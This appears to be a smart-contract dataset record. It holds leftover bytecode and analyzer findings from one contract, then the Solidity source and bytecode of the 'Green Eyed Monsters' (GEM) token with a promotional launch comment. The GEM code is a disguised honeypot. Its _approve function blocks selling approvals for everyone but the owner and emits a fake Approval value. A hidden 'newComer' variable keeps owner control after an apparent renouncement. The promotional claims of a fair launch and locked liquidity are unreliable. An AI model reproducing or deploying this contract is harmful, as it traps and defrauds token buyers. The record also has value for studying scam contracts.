0fd5b505050506040513d601f19601f82011682018060405250810190610e5191906126ad565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610eda30610786565b600080610ee561092a565b426040518863ffffffff1660e01b8152600401610f0796959493929190612b9a565b6060604051808303818588803b158015610f2057600080fd5b505af1158015610f34573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f599190612850565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff0219169083151502179055506a295be96e640669720000006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105e929190612b71565b602060405180830381600087803b15801561107857600080fd5b505af115801561108c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b09190612823565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6111436112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c790612cf8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611240576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123790612c78565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611375576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136c90612d58565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113dc90612c98565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114c39190612d98565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611540576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153790612d38565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a790612c38565b60405180910390fd5b600081116115f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ea90612d18565b60405180910390fd5b6115fb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611669575061163961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561199e57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117125750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61171b57600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117c65750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561181c5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118345750601060179054906101000a900460ff165b156118e45760115481111561184857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061189357600080fd5b601e426118a09190612ece565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118ef30610786565b9050601060159054906101000a900460ff1615801561195c5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119745750601060169054906101000a900460ff165b1561199c5761198281611c09565b6000479050600081111561199a5761199947611a12565b5b505b505b6119a9838383611e91565b505050565b60008383111582906119f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ed9190612c16565b60405180910390fd5b5060008385611a059190612faf565b9050809150509392505050565b6000611a69611a2e600b54600c54611ea190919063ffffffff16565b611a5b633b9aca00611a4d612710600c54611eff90919063ffffffff16565b611eff90919063ffffffff16565b611f7a90919063ffffffff16565b90506000611aaa633b9aca00611a9c612710611a8e8787611eff90919063ffffffff16565b611f7a90919063ffffffff16565b611f7a90919063ffffffff16565b90506000611ac18285611fc490919063ffffffff16565b9050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015611b2b573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611b94573d6000803e3d6000fd5b5050505050565b6000600854821115611be2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd990612c58565b60405180910390fd5b6000611bec61200e565b9050611c018184611f7a90919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c4157611c40613184565b5b604051908082528060200260200182016040528015611c6f5781602001602082028036833780820191505090505b5090503081600081518110611c8757611c86613155565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d2957600080fd5b505afa158015611d3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d6191906126ad565b81600181518110611d7557611d74613155565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ddc30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611305565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e40959493929190612db3565b600060405180830381600087803b158015611e5a57600080fd5b505af1158015611e6e573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b611e9c838383612039565b505050565b6000808284611eb09190612ece565b905083811015611ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eec90612cb8565b60405180910390fd5b8091505092915050565b600080831415611f125760009050611f74565b60008284611f209190612f55565b9050828482611f2f9190612f24565b14611f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6690612cd8565b60405180910390fd5b809150505b92915050565b6000611fbc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612204565b905092915050565b600061200683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119ae565b905092915050565b600080600061201b612267565b915091506120328183611f7a90919063ffffffff16565b9250505090565b60008060008060008061204b876122d2565b9550955095509550955095506120a986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fc490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061213e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218a8161234e565b612194848361240b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121f19190612d98565b60405180910390a3505050505050505050565b6000808311829061224b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122429190612c16565b60405180910390fd5b506000838561225a9190612f24565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce800000090506122a36b033b2e3c9fd0803ce8000000600854611f7a90919063ffffffff16565b8210156122c5576008546b033b2e3c9fd0803ce80000009350935050506122ce565b81819350935050505b9091565b60008060008060008060008060006123038a600a546122fe600c54600b54611ea190919063ffffffff16565b612445565b925092509250600061231361200e565b905060008060006123268e8787876124db565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061235861200e565b9050600061236f8284611eff90919063ffffffff16565b90506123c381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61242082600854611fc490919063ffffffff16565b60088190555061243b81600954611ea190919063ffffffff16565b6009819055505050565b6000806000806124716064612463888a611eff90919063ffffffff16565b611f7a90919063ffffffff16565b9050600061249b606461248d888b611eff90919063ffffffff16565b611f7a90919063ffffffff16565b905060006124c4826124b6858c611fc490919063ffffffff16565b611fc490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806124f48589611eff90919063ffffffff16565b9050600061250b8689611eff90919063ffffffff16565b905060006125228789611eff90919063ffffffff16565b9050600061254b8261253d8587611fc490919063ffffffff16565b611fc490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061257761257284612e4d565b612e28565b9050808382526020820190508285602086028201111561259a576125996131b8565b5b60005b858110156125ca57816125b088826125d4565b84526020840193506020830192505060018101905061259d565b5050509392505050565b6000813590506125e3816134cb565b92915050565b6000815190506125f8816134cb565b92915050565b600082601f830112612613576126126131b3565b5b8135612623848260208601612564565b91505092915050565b60008135905061263b816134e2565b92915050565b600081519050612650816134e2565b92915050565b600081359050612665816134f9565b92915050565b60008151905061267a816134f9565b92915050565b600060208284031215612696576126956131c2565b5b60006126a4848285016125d4565b91505092915050565b6000602082840312156126c3576126c26131c2565b5b60006126d1848285016125e9565b91505092915050565b600080604083850312156126f1576126f06131c2565b5b60006126ff858286016125d4565b9250506020612710858286016125d4565b9150509250929050565b600080600060608486031215612733576127326131c2565b5b6000612741868287016125d4565b9350506020612752868287016125d4565b925050604061276386828701612656565b9150509250925092565b60008060408385031215612784576127836131c2565b5b6000612792858286016125d4565b92505060206127a385828601612656565b9150509250929050565b6000602082840312156127c3576127c26131c2565b5b600082013567ffffffffffffffff8111156127e1576127e06131bd565b5b6127ed848285016125fe565b91505092915050565b60006020828403121561280c5761280b6131c2565b5b600061281a8482850161262c565b91505092915050565b600060208284031215612839576128386131c2565b5b600061284784828501612641565b91505092915050565b600080600060608486031215612869576128686131c2565b5b60006128778682870161266b565b93505060206128888682870161266b565b92505060406128998682870161266b565b9150509250925092565b60006128af83836128bb565b60208301905092915050565b6128c481612fe3565b82525050565b6128d381612fe3565b82525050565b60006128e482612e89565b6128ee8185612eac565b93506128f983612e79565b8060005b8381101561292a57815161291188826128a3565b975061291c83612e9f565b9250506001810190506128fd565b5085935050505092915050565b61294081612ff5565b82525050565b61294f81613038565b82525050565b600061296082612e94565b61296a8185612ebd565b935061297a81856020860161304a565b612983816131c7565b840191505092915050565b600061299b602383612ebd565b91506129a6826131d8565b604082019050919050565b60006129be602a83612ebd565b91506129c982613227565b604082019050919050565b60006129e1602683612ebd565b91506129ec82613276565b604082019050919050565b6000612a04602283612ebd565b9150612a0f826132c5565b604082019050919050565b6000612a27601b83612ebd565b9150612a3282613314565b602082019050919050565b6000612a4a602183612ebd565b9150612a558261333d565b604082019050919050565b6000612a6d602083612ebd565b9150612a788261338c565b602082019050919050565b6000612a90602983612ebd565b9150612a9b826133b5565b604082019050919050565b6000612ab3602583612ebd565b9150612abe82613404565b604082019050919050565b6000612ad6602483612ebd565b9150612ae182613453565b604082019050919050565b6000612af9601783612ebd565b9150612b04826134a2565b602082019050919050565b612b1881613021565b82525050565b612b278161302b565b82525050565b6000602082019050612b4260008301846128ca565b92915050565b6000604082019050612b5d60008301856128ca565b612b6a60208301846128ca565b9392505050565b6000604082019050612b8660008301856128ca565b612b936020830184612b0f565b9392505050565b600060c082019050612baf60008301896128ca565b612bbc6020830188612b0f565b612bc96040830187612946565b612bd66060830186612946565b612be360808301856128ca565b612bf060a0830184612b0f565b979650505050505050565b6000602082019050612c106000830184612937565b92915050565b60006020820190508181036000830152612c308184612955565b905092915050565b60006020820190508181036000830152612c518161298e565b9050919050565b60006020820190508181036000830152612c71816129b1565b9050919050565b60006020820190508181036000830152612c91816129d4565b9050919050565b60006020820190508181036000830152612cb1816129f7565b9050919050565b60006020820190508181036000830152612cd181612a1a565b9050919050565b60006020820190508181036000830152612cf181612a3d565b9050919050565b60006020820190508181036000830152612d1181612a60565b9050919050565b60006020820190508181036000830152612d3181612a83565b9050919050565b60006020820190508181036000830152612d5181612aa6565b9050919050565b60006020820190508181036000830152612d7181612ac9565b9050919050565b60006020820190508181036000830152612d9181612aec565b9050919050565b6000602082019050612dad6000830184612b0f565b92915050565b600060a082019050612dc86000830188612b0f565b612dd56020830187612946565b8181036040830152612de781866128d9565b9050612df660608301856128ca565b612e036080830184612b0f565b9695505050505050565b6000602082019050612e226000830184612b1e565b92915050565b6000612e32612e43565b9050612e3e828261307d565b919050565b6000604051905090565b600067ffffffffffffffff821115612e6857612e67613184565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612ed982613021565b9150612ee483613021565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f1957612f186130f7565b5b828201905092915050565b6000612f2f82613021565b9150612f3a83613021565b925082612f4a57612f49613126565b5b828204905092915050565b6000612f6082613021565b9150612f6b83613021565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612fa457612fa36130f7565b5b828202905092915050565b6000612fba82613021565b9150612fc583613021565b925082821015612fd857612fd76130f7565b5b828203905092915050565b6000612fee82613001565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061304382613021565b9050919050565b60005b8381101561306857808201518184015260208101905061304d565b83811115613077576000848401525b50505050565b613086826131c7565b810181811067ffffffffffffffff821117156130a5576130a4613184565b5b80604052505050565b60006130b982613021565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156130ec576130eb6130f7565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6134d481612fe3565b81146134df57600080fd5b50565b6134eb81612ff5565b81146134f657600080fd5b50565b61350281613021565b811461350d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203b79d276d81a571c8f84fa040ac11da5898b7090179a28fafc7b3da221b09c3164736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,452 |
0x35b88bb18577ced3a2137dbadb22fadf15d785bf
|
/**
*Submitted for verification at Etherscan.io on 2021-12-18
*/
/*
🚨NFTs, Token, & Games ALERT🚨
🧪👾 Green Eyed Monsters 👾🧪
Cool upcoming NFT “” The Green Eyed Monster NFT collection that will be launching alonggside a ETH
On UNISWAP 🦄 & FegEx 🦍
✅1,000 Hyper-Realistic and Animated Avatars! From Unique Traits and Rare 3D Motion, the GEM SERIES 1 Avatars allow for a randomized assembly of collectable NFT characters.
💥Fair Launch!
✅ CMC💃, CG🦎 incoming!
📝TOKENOMICS🥳
💎 TS: 1T - GEM
🔒 Liquidity Locked 🔒
🐋 Anti-Whale
💼 4% Marketing
🥷 2% dev
🎁 1% Redistribution of Holder Tokens
💰 3% Stacked into our Liquidity
📌 Experienced Devs + Marketing team!
📌 Exchanges and Partnerships incoming! 🤝
Website: http://gemnfts.io
Join TG 👉: https://t.me/GEMportall
☝️☝️
Twitter: http://twitter.com/gem_nfts
Instagram: https://www.instagram.com/gem_nfts
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract GreenEyedMonsters is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**9* 10**18;
string private _name = 'Green Eyed Monsters ' ;
string private _symbol = 'GEM';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffff